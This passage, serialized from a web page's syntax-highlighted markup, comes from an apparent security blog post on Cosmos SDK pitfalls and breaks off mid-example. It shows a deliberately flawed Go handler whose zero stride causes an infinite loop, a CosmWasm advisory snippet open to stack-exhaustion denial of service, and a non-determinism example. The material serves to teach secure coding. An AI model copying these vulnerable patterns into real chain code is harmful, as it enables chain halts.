{\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[76220],{"type":23,"tag":209,"props":76221,"children":76222},{"__ignoreMap":7},[76223,76243,76256,76268,76286,76293,76300,76320,76332,76339,76346,76381,76407,76428,76457,76487,76532,76609,76645,76652,76696],{"type":23,"tag":213,"props":76224,"children":76225},{"class":215,"line":216},[76226,76230,76235,76239],{"type":23,"tag":213,"props":76227,"children":76228},{"style":230},[76229],{"type":28,"value":32812},{"type":23,"tag":213,"props":76231,"children":76232},{"style":290},[76233],{"type":28,"value":76234}," MsgSumWithStrideParams",{"type":23,"tag":213,"props":76236,"children":76237},{"style":230},[76238],{"type":28,"value":887},{"type":23,"tag":213,"props":76240,"children":76241},{"style":220},[76242],{"type":28,"value":1375},{"type":23,"tag":213,"props":76244,"children":76245},{"class":215,"line":226},[76246,76251],{"type":23,"tag":213,"props":76247,"children":76248},{"style":268},[76249],{"type":28,"value":76250}," Start",{"type":23,"tag":213,"props":76252,"children":76253},{"style":290},[76254],{"type":28,"value":76255}," uint64\n",{"type":23,"tag":213,"props":76257,"children":76258},{"class":215,"line":524},[76259,76264],{"type":23,"tag":213,"props":76260,"children":76261},{"style":268},[76262],{"type":28,"value":76263}," Stride",{"type":23,"tag":213,"props":76265,"children":76266},{"style":290},[76267],{"type":28,"value":76255},{"type":23,"tag":213,"props":76269,"children":76270},{"class":215,"line":533},[76271,76276,76281],{"type":23,"tag":213,"props":76272,"children":76273},{"style":268},[76274],{"type":28,"value":76275}," Arr",{"type":23,"tag":213,"props":76277,"children":76278},{"style":220},[76279],{"type":28,"value":76280}," []",{"type":23,"tag":213,"props":76282,"children":76283},{"style":290},[76284],{"type":28,"value":76285},"uint64\n",{"type":23,"tag":213,"props":76287,"children":76288},{"class":215,"line":543},[76289],{"type":23,"tag":213,"props":76290,"children":76291},{"style":220},[76292],{"type":28,"value":1208},{"type":23,"tag":213,"props":76294,"children":76295},{"class":215,"line":551},[76296],{"type":23,"tag":213,"props":76297,"children":76298},{"emptyLinePlaceholder":18},[76299],{"type":28,"value":530},{"type":23,"tag":213,"props":76301,"children":76302},{"class":215,"line":570},[76303,76307,76312,76316],{"type":23,"tag":213,"props":76304,"children":76305},{"style":230},[76306],{"type":28,"value":32812},{"type":23,"tag":213,"props":76308,"children":76309},{"style":290},[76310],{"type":28,"value":76311}," MsgSumWithStrideResponse",{"type":23,"tag":213,"props":76313,"children":76314},{"style":230},[76315],{"type":28,"value":887},{"type":23,"tag":213,"props":76317,"children":76318},{"style":220},[76319],{"type":28,"value":1375},{"type":23,"tag":213,"props":76321,"children":76322},{"class":215,"line":655},[76323,76328],{"type":23,"tag":213,"props":76324,"children":76325},{"style":268},[76326],{"type":28,"value":76327}," Sum",{"type":23,"tag":213,"props":76329,"children":76330},{"style":290},[76331],{"type":28,"value":76255},{"type":23,"tag":213,"props":76333,"children":76334},{"class":215,"line":1176},[76335],{"type":23,"tag":213,"props":76336,"children":76337},{"style":220},[76338],{"type":28,"value":1208},{"type":23,"tag":213,"props":76340,"children":76341},{"class":215,"line":1202},[76342],{"type":23,"tag":213,"props":76343,"children":76344},{"emptyLinePlaceholder":18},[76345],{"type":28,"value":530},{"type":23,"tag":213,"props":76347,"children":76348},{"class":215,"line":1758},[76349,76354,76358,76363,76368,76372,76377],{"type":23,"tag":213,"props":76350,"children":76351},{"style":230},[76352],{"type":28,"value":76353},"func",{"type":23,"tag":213,"props":76355,"children":76356},{"style":220},[76357],{"type":28,"value":400},{"type":23,"tag":213,"props":76359,"children":76360},{"style":268},[76361],{"type":28,"value":76362},"ms ",{"type":23,"tag":213,"props":76364,"children":76365},{"style":290},[76366],{"type":28,"value":76367},"msgServer",{"type":23,"tag":213,"props":76369,"children":76370},{"style":220},[76371],{"type":28,"value":298},{"type":23,"tag":213,"props":76373,"children":76374},{"style":257},[76375],{"type":28,"value":76376},"SumWithStride",{"type":23,"tag":213,"props":76378,"children":76379},{"style":220},[76380],{"type":28,"value":1511},{"type":23,"tag":213,"props":76382,"children":76383},{"class":215,"line":1767},[76384,76389,76394,76398,76403],{"type":23,"tag":213,"props":76385,"children":76386},{"style":268},[76387],{"type":28,"value":76388}," goCtx",{"type":23,"tag":213,"props":76390,"children":76391},{"style":290},[76392],{"type":28,"value":76393}," context",{"type":23,"tag":213,"props":76395,"children":76396},{"style":220},[76397],{"type":28,"value":124},{"type":23,"tag":213,"props":76399,"children":76400},{"style":290},[76401],{"type":28,"value":76402},"Context",{"type":23,"tag":213,"props":76404,"children":76405},{"style":220},[76406],{"type":28,"value":944},{"type":23,"tag":213,"props":76408,"children":76409},{"class":215,"line":1789},[76410,76415,76419,76424],{"type":23,"tag":213,"props":76411,"children":76412},{"style":268},[76413],{"type":28,"value":76414}," msg",{"type":23,"tag":213,"props":76416,"children":76417},{"style":274},[76418],{"type":28,"value":282},{"type":23,"tag":213,"props":76420,"children":76421},{"style":290},[76422],{"type":28,"value":76423},"MsgSumWithStrideParams",{"type":23,"tag":213,"props":76425,"children":76426},{"style":220},[76427],{"type":28,"value":944},{"type":23,"tag":213,"props":76429,"children":76430},{"class":215,"line":1812},[76431,76436,76440,76445,76449,76453],{"type":23,"tag":213,"props":76432,"children":76433},{"style":220},[76434],{"type":28,"value":76435},") (",{"type":23,"tag":213,"props":76437,"children":76438},{"style":274},[76439],{"type":28,"value":1696},{"type":23,"tag":213,"props":76441,"children":76442},{"style":290},[76443],{"type":28,"value":76444},"MsgSumWithStrideResponse",{"type":23,"tag":213,"props":76446,"children":76447},{"style":220},[76448],{"type":28,"value":424},{"type":23,"tag":213,"props":76450,"children":76451},{"style":290},[76452],{"type":28,"value":14929},{"type":23,"tag":213,"props":76454,"children":76455},{"style":220},[76456],{"type":28,"value":14870},{"type":23,"tag":213,"props":76458,"children":76459},{"class":215,"line":1838},[76460,76465,76470,76475,76479,76483],{"type":23,"tag":213,"props":76461,"children":76462},{"style":268},[76463],{"type":28,"value":76464}," sum",{"type":23,"tag":213,"props":76466,"children":76467},{"style":274},[76468],{"type":28,"value":76469}," :=",{"type":23,"tag":213,"props":76471,"children":76472},{"style":290},[76473],{"type":28,"value":76474}," uint64",{"type":23,"tag":213,"props":76476,"children":76477},{"style":220},[76478],{"type":28,"value":265},{"type":23,"tag":213,"props":76480,"children":76481},{"style":514},[76482],{"type":28,"value":4116},{"type":23,"tag":213,"props":76484,"children":76485},{"style":220},[76486],{"type":28,"value":2183},{"type":23,"tag":213,"props":76488,"children":76489},{"class":215,"line":1851},[76490,76495,76499,76503,76507,76511,76515,76519,76523,76528],{"type":23,"tag":213,"props":76491,"children":76492},{"style":268},[76493],{"type":28,"value":76494}," end",{"type":23,"tag":213,"props":76496,"children":76497},{"style":274},[76498],{"type":28,"value":76469},{"type":23,"tag":213,"props":76500,"children":76501},{"style":290},[76502],{"type":28,"value":76474},{"type":23,"tag":213,"props":76504,"children":76505},{"style":220},[76506],{"type":28,"value":265},{"type":23,"tag":213,"props":76508,"children":76509},{"style":257},[76510],{"type":28,"value":9225},{"type":23,"tag":213,"props":76512,"children":76513},{"style":220},[76514],{"type":28,"value":265},{"type":23,"tag":213,"props":76516,"children":76517},{"style":268},[76518],{"type":28,"value":57999},{"type":23,"tag":213,"props":76520,"children":76521},{"style":220},[76522],{"type":28,"value":124},{"type":23,"tag":213,"props":76524,"children":76525},{"style":268},[76526],{"type":28,"value":76527},"Arr",{"type":23,"tag":213,"props":76529,"children":76530},{"style":220},[76531],{"type":28,"value":19766},{"type":23,"tag":213,"props":76533,"children":76534},{"class":215,"line":1864},[76535,76539,76544,76548,76553,76557,76562,76566,76571,76575,76580,76584,76588,76592,76596,76600,76605],{"type":23,"tag":213,"props":76536,"children":76537},{"style":1362},[76538],{"type":28,"value":3131},{"type":23,"tag":213,"props":76540,"children":76541},{"style":268},[76542],{"type":28,"value":76543}," idx",{"type":23,"tag":213,"props":76545,"children":76546},{"style":274},[76547],{"type":28,"value":76469},{"type":23,"tag":213,"props":76549,"children":76550},{"style":268},[76551],{"type":28,"value":76552}," msg",{"type":23,"tag":213,"props":76554,"children":76555},{"style":220},[76556],{"type":28,"value":124},{"type":23,"tag":213,"props":76558,"children":76559},{"style":268},[76560],{"type":28,"value":76561},"Start",{"type":23,"tag":213,"props":76563,"children":76564},{"style":220},[76565],{"type":28,"value":17277},{"type":23,"tag":213,"props":76567,"children":76568},{"style":268},[76569],{"type":28,"value":76570},"idx",{"type":23,"tag":213,"props":76572,"children":76573},{"style":274},[76574],{"type":28,"value":8804},{"type":23,"tag":213,"props":76576,"children":76577},{"style":268},[76578],{"type":28,"value":76579}," end",{"type":23,"tag":213,"props":76581,"children":76582},{"style":220},[76583],{"type":28,"value":17277},{"type":23,"tag":213,"props":76585,"children":76586},{"style":268},[76587],{"type":28,"value":76570},{"type":23,"tag":213,"props":76589,"children":76590},{"style":274},[76591],{"type":28,"value":666},{"type":23,"tag":213,"props":76593,"children":76594},{"style":268},[76595],{"type":28,"value":76552},{"type":23,"tag":213,"props":76597,"children":76598},{"style":220},[76599],{"type":28,"value":124},{"type":23,"tag":213,"props":76601,"children":76602},{"style":268},[76603],{"type":28,"value":76604},"Stride",{"type":23,"tag":213,"props":76606,"children":76607},{"style":220},[76608],{"type":28,"value":1375},{"type":23,"tag":213,"props":76610,"children":76611},{"class":215,"line":1890},[76612,76617,76621,76625,76629,76633,76637,76641],{"type":23,"tag":213,"props":76613,"children":76614},{"style":268},[76615],{"type":28,"value":76616}," sum",{"type":23,"tag":213,"props":76618,"children":76619},{"style":274},[76620],{"type":28,"value":666},{"type":23,"tag":213,"props":76622,"children":76623},{"style":268},[76624],{"type":28,"value":76552},{"type":23,"tag":213,"props":76626,"children":76627},{"style":220},[76628],{"type":28,"value":124},{"type":23,"tag":213,"props":76630,"children":76631},{"style":268},[76632],{"type":28,"value":76527},{"type":23,"tag":213,"props":76634,"children":76635},{"style":220},[76636],{"type":28,"value":3821},{"type":23,"tag":213,"props":76638,"children":76639},{"style":268},[76640],{"type":28,"value":76570},{"type":23,"tag":213,"props":76642,"children":76643},{"style":220},[76644],{"type":28,"value":11856},{"type":23,"tag":213,"props":76646,"children":76647},{"class":215,"line":1899},[76648],{"type":23,"tag":213,"props":76649,"children":76650},{"style":220},[76651],{"type":28,"value":2875},{"type":23,"tag":213,"props":76653,"children":76654},{"class":215,"line":1912},[76655,76659,76663,76667,76672,76677,76681,76686,76691],{"type":23,"tag":213,"props":76656,"children":76657},{"style":1362},[76658],{"type":28,"value":17040},{"type":23,"tag":213,"props":76660,"children":76661},{"style":274},[76662],{"type":28,"value":927},{"type":23,"tag":213,"props":76664,"children":76665},{"style":290},[76666],{"type":28,"value":76444},{"type":23,"tag":213,"props":76668,"children":76669},{"style":220},[76670],{"type":28,"value":76671},"{",{"type":23,"tag":213,"props":76673,"children":76674},{"style":268},[76675],{"type":28,"value":76676},"Sum",{"type":23,"tag":213,"props":76678,"children":76679},{"style":220},[76680],{"type":28,"value":15390},{"type":23,"tag":213,"props":76682,"children":76683},{"style":268},[76684],{"type":28,"value":76685},"sum",{"type":23,"tag":213,"props":76687,"children":76688},{"style":220},[76689],{"type":28,"value":76690},"}, ",{"type":23,"tag":213,"props":76692,"children":76693},{"style":230},[76694],{"type":28,"value":76695},"nil\n",{"type":23,"tag":213,"props":76697,"children":76698},{"class":215,"line":1921},[76699],{"type":23,"tag":213,"props":76700,"children":76701},{"style":220},[76702],{"type":28,"value":1208},{"type":23,"tag":24,"props":76704,"children":76705},{},[76706,76708,76713,76714,76720],{"type":28,"value":76707},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":209,"props":76709,"children":76711},{"className":76710},[],[76712],{"type":28,"value":76570},{"type":28,"value":7403},{"type":23,"tag":209,"props":76715,"children":76717},{"className":76716},[],[76718],{"type":28,"value":76719},"stride",{"type":28,"value":76721},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":24,"props":76723,"children":76724},{},[76725],{"type":28,"value":76726},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":24,"props":76728,"children":76729},{},[76730],{"type":28,"value":76731},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":24,"props":76733,"children":76734},{},[76735],{"type":28,"value":76736},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":9693,"props":76738,"children":76740},{"id":76739},"real-world-examples",[76741],{"type":28,"value":76742},"Real-World Examples",{"type":23,"tag":24,"props":76744,"children":76745},{},[76746],{"type":28,"value":76747},"Now, let's examine a few real-world instances.",{"type":23,"tag":24,"props":76749,"children":76750},{},[76751,76753,76759,76760,76766,76768,76774,76776,76782],{"type":28,"value":76752},"In the case of ",{"type":23,"tag":36,"props":76754,"children":76757},{"href":76755,"rel":76756},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[40],[76758],{"type":28,"value":17743},{"type":28,"value":6550},{"type":23,"tag":209,"props":76761,"children":76763},{"className":76762},[],[76764],{"type":28,"value":76765},"CosmWasm",{"type":28,"value":76767}," bug, the helper method ",{"type":23,"tag":209,"props":76769,"children":76771},{"className":76770},[],[76772],{"type":28,"value":76773},"write_to_contract",{"type":28,"value":76775}," negligently calls the untrusted Wasm function ",{"type":23,"tag":209,"props":76777,"children":76779},{"className":76778},[],[76780],{"type":28,"value":76781},"\"allocate\"",{"type":28,"value":124},{"type":23,"tag":24,"props":76784,"children":76785},{},[76786],{"type":23,"tag":36,"props":76787,"children":76790},{"href":76788,"rel":76789},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[40],[76791],{"type":28,"value":76792},"Permalink for snippet",{"type":23,"tag":202,"props":76794,"children":76796},{"code":76795,"language":205,"meta":7,"className":206,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[76797],{"type":23,"tag":209,"props":76798,"children":76799},{"__ignoreMap":7},[76800,76869,76917,76945,76974,77023,77097,77142,77165,77210,77217,77274,77293],{"type":23,"tag":213,"props":76801,"children":76802},{"class":215,"line":216},[76803,76807,76812,76816,76821,76825,76830,76834,76838,76842,76847,76851,76856,76860,76865],{"type":23,"tag":213,"props":76804,"children":76805},{"style":230},[76806],{"type":28,"value":20321},{"type":23,"tag":213,"props":76808,"children":76809},{"style":257},[76810],{"type":28,"value":76811}," write_to_contract",{"type":23,"tag":213,"props":76813,"children":76814},{"style":220},[76815],{"type":28,"value":434},{"type":23,"tag":213,"props":76817,"children":76818},{"style":290},[76819],{"type":28,"value":76820},"A",{"type":23,"tag":213,"props":76822,"children":76823},{"style":274},[76824],{"type":28,"value":277},{"type":23,"tag":213,"props":76826,"children":76827},{"style":290},[76828],{"type":28,"value":76829}," BackendApi",{"type":23,"tag":213,"props":76831,"children":76832},{"style":220},[76833],{"type":28,"value":424},{"type":23,"tag":213,"props":76835,"children":76836},{"style":290},[76837],{"type":28,"value":22099},{"type":23,"tag":213,"props":76839,"children":76840},{"style":274},[76841],{"type":28,"value":277},{"type":23,"tag":213,"props":76843,"children":76844},{"style":290},[76845],{"type":28,"value":76846}," Storage",{"type":23,"tag":213,"props":76848,"children":76849},{"style":220},[76850],{"type":28,"value":424},{"type":23,"tag":213,"props":76852,"children":76853},{"style":290},[76854],{"type":28,"value":76855},"Q",{"type":23,"tag":213,"props":76857,"children":76858},{"style":274},[76859],{"type":28,"value":277},{"type":23,"tag":213,"props":76861,"children":76862},{"style":290},[76863],{"type":28,"value":76864}," Querier",{"type":23,"tag":213,"props":76866,"children":76867},{"style":220},[76868],{"type":28,"value":6681},{"type":23,"tag":213,"props":76870,"children":76871},{"class":215,"line":226},[76872,76876,76880,76884,76889,76893,76897,76901,76905,76909,76913],{"type":23,"tag":213,"props":76873,"children":76874},{"style":268},[76875],{"type":28,"value":3932},{"type":23,"tag":213,"props":76877,"children":76878},{"style":274},[76879],{"type":28,"value":277},{"type":23,"tag":213,"props":76881,"children":76882},{"style":274},[76883],{"type":28,"value":927},{"type":23,"tag":213,"props":76885,"children":76886},{"style":290},[76887],{"type":28,"value":76888},"Environment",{"type":23,"tag":213,"props":76890,"children":76891},{"style":220},[76892],{"type":28,"value":434},{"type":23,"tag":213,"props":76894,"children":76895},{"style":290},[76896],{"type":28,"value":76820},{"type":23,"tag":213,"props":76898,"children":76899},{"style":220},[76900],{"type":28,"value":424},{"type":23,"tag":213,"props":76902,"children":76903},{"style":290},[76904],{"type":28,"value":22099},{"type":23,"tag":213,"props":76906,"children":76907},{"style":220},[76908],{"type":28,"value":424},{"type":23,"tag":213,"props":76910,"children":76911},{"style":290},[76912],{"type":28,"value":76855},{"type":23,"tag":213,"props":76914,"children":76915},{"style":220},[76916],{"type":28,"value":6230},{"type":23,"tag":213,"props":76918,"children":76919},{"class":215,"line":524},[76920,76925,76929,76933,76937,76941],{"type":23,"tag":213,"props":76921,"children":76922},{"style":268},[76923],{"type":28,"value":76924}," input",{"type":23,"tag":213,"props":76926,"children":76927},{"style":274},[76928],{"type":28,"value":277},{"type":23,"tag":213,"props":76930,"children":76931},{"style":274},[76932],{"type":28,"value":927},{"type":23,"tag":213,"props":76934,"children":76935},{"style":220},[76936],{"type":28,"value":3821},{"type":23,"tag":213,"props":76938,"children":76939},{"style":290},[76940],{"type":28,"value":474},{"type":23,"tag":213,"props":76942,"children":76943},{"style":220},[76944],{"type":28,"value":14337},{"type":23,"tag":213,"props":76946,"children":76947},{"class":215,"line":533},[76948,76952,76956,76961,76965,76970],{"type":23,"tag":213,"props":76949,"children":76950},{"style":220},[76951],{"type":28,"value":298},{"type":23,"tag":213,"props":76953,"children":76954},{"style":274},[76955],{"type":28,"value":303},{"type":23,"tag":213,"props":76957,"children":76958},{"style":290},[76959],{"type":28,"value":76960}," VmResult",{"type":23,"tag":213,"props":76962,"children":76963},{"style":220},[76964],{"type":28,"value":434},{"type":23,"tag":213,"props":76966,"children":76967},{"style":290},[76968],{"type":28,"value":76969},"u32",{"type":23,"tag":213,"props":76971,"children":76972},{"style":220},[76973],{"type":28,"value":905},{"type":23,"tag":213,"props":76975,"children":76976},{"class":215,"line":543},[76977,76981,76986,76990,76995,76999,77003,77007,77011,77015,77019],{"type":23,"tag":213,"props":76978,"children":76979},{"style":230},[76980],{"type":28,"value":487},{"type":23,"tag":213,"props":76982,"children":76983},{"style":268},[76984],{"type":28,"value":76985}," out_size",{"type":23,"tag":213,"props":76987,"children":76988},{"style":274},[76989],{"type":28,"value":511},{"type":23,"tag":213,"props":76991,"children":76992},{"style":257},[76993],{"type":28,"value":76994}," to_u32",{"type":23,"tag":213,"props":76996,"children":76997},{"style":220},[76998],{"type":28,"value":265},{"type":23,"tag":213,"props":77000,"children":77001},{"style":268},[77002],{"type":28,"value":271},{"type":23,"tag":213,"props":77004,"children":77005},{"style":274},[77006],{"type":28,"value":124},{"type":23,"tag":213,"props":77008,"children":77009},{"style":257},[77010],{"type":28,"value":9225},{"type":23,"tag":213,"props":77012,"children":77013},{"style":220},[77014],{"type":28,"value":42020},{"type":23,"tag":213,"props":77016,"children":77017},{"style":274},[77018],{"type":28,"value":2126},{"type":23,"tag":213,"props":77020,"children":77021},{"style":220},[77022],{"type":28,"value":313},{"type":23,"tag":213,"props":77024,"children":77025},{"class":215,"line":551},[77026,77030,77034,77038,77042,77046,77051,77055,77059,77063,77067,77071,77076,77080,77084,77089,77093],{"type":23,"tag":213,"props":77027,"children":77028},{"style":230},[77029],{"type":28,"value":487},{"type":23,"tag":213,"props":77031,"children":77032},{"style":268},[77033],{"type":28,"value":9246},{"type":23,"tag":213,"props":77035,"children":77036},{"style":274},[77037],{"type":28,"value":511},{"type":23,"tag":213,"props":77039,"children":77040},{"style":268},[77041],{"type":28,"value":43014},{"type":23,"tag":213,"props":77043,"children":77044},{"style":274},[77045],{"type":28,"value":124},{"type":23,"tag":213,"props":77047,"children":77048},{"style":257},[77049],{"type":28,"value":77050},"call_function1",{"type":23,"tag":213,"props":77052,"children":77053},{"style":220},[77054],{"type":28,"value":265},{"type":23,"tag":213,"props":77056,"children":77057},{"style":246},[77058],{"type":28,"value":76781},{"type":23,"tag":213,"props":77060,"children":77061},{"style":220},[77062],{"type":28,"value":424},{"type":23,"tag":213,"props":77064,"children":77065},{"style":274},[77066],{"type":28,"value":405},{"type":23,"tag":213,"props":77068,"children":77069},{"style":220},[77070],{"type":28,"value":3821},{"type":23,"tag":213,"props":77072,"children":77073},{"style":268},[77074],{"type":28,"value":77075},"out_size",{"type":23,"tag":213,"props":77077,"children":77078},{"style":274},[77079],{"type":28,"value":124},{"type":23,"tag":213,"props":77081,"children":77082},{"style":257},[77083],{"type":28,"value":14951},{"type":23,"tag":213,"props":77085,"children":77086},{"style":220},[77087],{"type":28,"value":77088},"()])",{"type":23,"tag":213,"props":77090,"children":77091},{"style":274},[77092],{"type":28,"value":2126},{"type":23,"tag":213,"props":77094,"children":77095},{"style":220},[77096],{"type":28,"value":313},{"type":23,"tag":213,"props":77098,"children":77099},{"class":215,"line":570},[77100,77104,77109,77113,77118,77122,77126,77130,77134,77138],{"type":23,"tag":213,"props":77101,"children":77102},{"style":230},[77103],{"type":28,"value":487},{"type":23,"tag":213,"props":77105,"children":77106},{"style":268},[77107],{"type":28,"value":77108}," target_ptr",{"type":23,"tag":213,"props":77110,"children":77111},{"style":274},[77112],{"type":28,"value":511},{"type":23,"tag":213,"props":77114,"children":77115},{"style":257},[77116],{"type":28,"value":77117}," ref_to_u32",{"type":23,"tag":213,"props":77119,"children":77120},{"style":220},[77121],{"type":28,"value":265},{"type":23,"tag":213,"props":77123,"children":77124},{"style":274},[77125],{"type":28,"value":405},{"type":23,"tag":213,"props":77127,"children":77128},{"style":268},[77129],{"type":28,"value":9168},{"type":23,"tag":213,"props":77131,"children":77132},{"style":220},[77133],{"type":28,"value":2121},{"type":23,"tag":213,"props":77135,"children":77136},{"style":274},[77137],{"type":28,"value":2126},{"type":23,"tag":213,"props":77139,"children":77140},{"style":220},[77141],{"type":28,"value":313},{"type":23,"tag":213,"props":77143,"children":77144},{"class":215,"line":655},[77145,77149,77153,77157,77161],{"type":23,"tag":213,"props":77146,"children":77147},{"style":1362},[77148],{"type":28,"value":2653},{"type":23,"tag":213,"props":77150,"children":77151},{"style":268},[77152],{"type":28,"value":77108},{"type":23,"tag":213,"props":77154,"children":77155},{"style":274},[77156],{"type":28,"value":3379},{"type":23,"tag":213,"props":77158,"children":77159},{"style":514},[77160],{"type":28,"value":517},{"type":23,"tag":213,"props":77162,"children":77163},{"style":220},[77164],{"type":28,"value":1375},{"type":23,"tag":213,"props":77166,"children":77167},{"class":215,"line":1176},[77168,77172,77176,77180,77185,77189,77194,77198,77202,77206],{"type":23,"tag":213,"props":77169,"children":77170},{"style":1362},[77171],{"type":28,"value":2839},{"type":23,"tag":213,"props":77173,"children":77174},{"style":290},[77175],{"type":28,"value":2844},{"type":23,"tag":213,"props":77177,"children":77178},{"style":220},[77179],{"type":28,"value":265},{"type":23,"tag":213,"props":77181,"children":77182},{"style":290},[77183],{"type":28,"value":77184},"CommunicationError",{"type":23,"tag":213,"props":77186,"children":77187},{"style":274},[77188],{"type":28,"value":562},{"type":23,"tag":213,"props":77190,"children":77191},{"style":257},[77192],{"type":28,"value":77193},"zero_address",{"type":23,"tag":213,"props":77195,"children":77196},{"style":220},[77197],{"type":28,"value":13955},{"type":23,"tag":213,"props":77199,"children":77200},{"style":274},[77201],{"type":28,"value":124},{"type":23,"tag":213,"props":77203,"children":77204},{"style":257},[77205],{"type":28,"value":14951},{"type":23,"tag":213,"props":77207,"children":77208},{"style":220},[77209],{"type":28,"value":15484},{"type":23,"tag":213,"props":77211,"children":77212},{"class":215,"line":1202},[77213],{"type":23,"tag":213,"props":77214,"children":77215},{"style":220},[77216],{"type":28,"value":2875},{"type":23,"tag":213,"props":77218,"children":77219},{"class":215,"line":1758},[77220,77225,77229,77233,77237,77241,77245,77249,77254,77258,77262,77266,77270],{"type":23,"tag":213,"props":77221,"children":77222},{"style":257},[77223],{"type":28,"value":77224}," write_region",{"type":23,"tag":213,"props":77226,"children":77227},{"style":220},[77228],{"type":28,"value":265},{"type":23,"tag":213,"props":77230,"children":77231},{"style":274},[77232],{"type":28,"value":405},{"type":23,"tag":213,"props":77234,"children":77235},{"style":268},[77236],{"type":28,"value":35748},{"type":23,"tag":213,"props":77238,"children":77239},{"style":274},[77240],{"type":28,"value":124},{"type":23,"tag":213,"props":77242,"children":77243},{"style":257},[77244],{"type":28,"value":76025},{"type":23,"tag":213,"props":77246,"children":77247},{"style":220},[77248],{"type":28,"value":18426},{"type":23,"tag":213,"props":77250,"children":77251},{"style":268},[77252],{"type":28,"value":77253},"target_ptr",{"type":23,"tag":213,"props":77255,"children":77256},{"style":220},[77257],{"type":28,"value":424},{"type":23,"tag":213,"props":77259,"children":77260},{"style":268},[77261],{"type":28,"value":271},{"type":23,"tag":213,"props":77263,"children":77264},{"style":220},[77265],{"type":28,"value":2121},{"type":23,"tag":213,"props":77267,"children":77268},{"style":274},[77269],{"type":28,"value":2126},{"type":23,"tag":213,"props":77271,"children":77272},{"style":220},[77273],{"type":28,"value":313},{"type":23,"tag":213,"props":77275,"children":77276},{"class":215,"line":1767},[77277,77281,77285,77289],{"type":23,"tag":213,"props":77278,"children":77279},{"style":290},[77280],{"type":28,"value":14407},{"type":23,"tag":213,"props":77282,"children":77283},{"style":220},[77284],{"type":28,"value":265},{"type":23,"tag":213,"props":77286,"children":77287},{"style":268},[77288],{"type":28,"value":77253},{"type":23,"tag":213,"props":77290,"children":77291},{"style":220},[77292],{"type":28,"value":2183},{"type":23,"tag":213,"props":77294,"children":77295},{"class":215,"line":1789},[77296],{"type":23,"tag":213,"props":77297,"children":77298},{"style":220},[77299],{"type":28,"value":1208},{"type":23,"tag":24,"props":77301,"children":77302},{},[77303,77305,77311,77313,77318],{"type":28,"value":77304},"As users have complete control over ",{"type":23,"tag":209,"props":77306,"children":77308},{"className":77307},[],[77309],{"type":28,"value":77310},"allocate",{"type":28,"value":77312},", there is a possibility to call back ",{"type":23,"tag":209,"props":77314,"children":77316},{"className":77315},[],[77317],{"type":28,"value":76773},{"type":28,"value":77319}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":24,"props":77321,"children":77322},{},[77323,77325,77332],{"type":28,"value":77324},"Additional real-world examples include ",{"type":23,"tag":36,"props":77326,"children":77329},{"href":77327,"rel":77328},"https://github.com/cosmos/cosmos-sdk/issues/16676",[40],[77330],{"type":28,"value":77331},"not returning proper values for malformed txs",{"type":28,"value":124},{"type":23,"tag":47,"props":77334,"children":77336},{"id":77335},"order-was-the-dream-of-man",[77337],{"type":28,"value":77338},"Order Was the Dream of Man",{"type":23,"tag":24,"props":77340,"children":77341},{},[77342],{"type":28,"value":77343},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":24,"props":77345,"children":77346},{},[77347],{"type":28,"value":77348},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":202,"props":77350,"children":77352},{"code":77351,"language":76217,"meta":7,"className":76218,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[77353],{"type":23,"tag":209,"props":77354,"children":77355},{"__ignoreMap":7},[77356,77389,77396,77425,77462,77491,77512,77524,77561,77569,77576,77583],{"type":23,"tag":213,"props":77357,"children":77358},{"class":215,"line":216},[77359,77363,77368,77372,77376,77380,77384],{"type":23,"tag":213,"props":77360,"children":77361},{"style":230},[77362],{"type":28,"value":32812},{"type":23,"tag":213,"props":77364,"children":77365},{"style":290},[77366],{"type":28,"value":77367}," 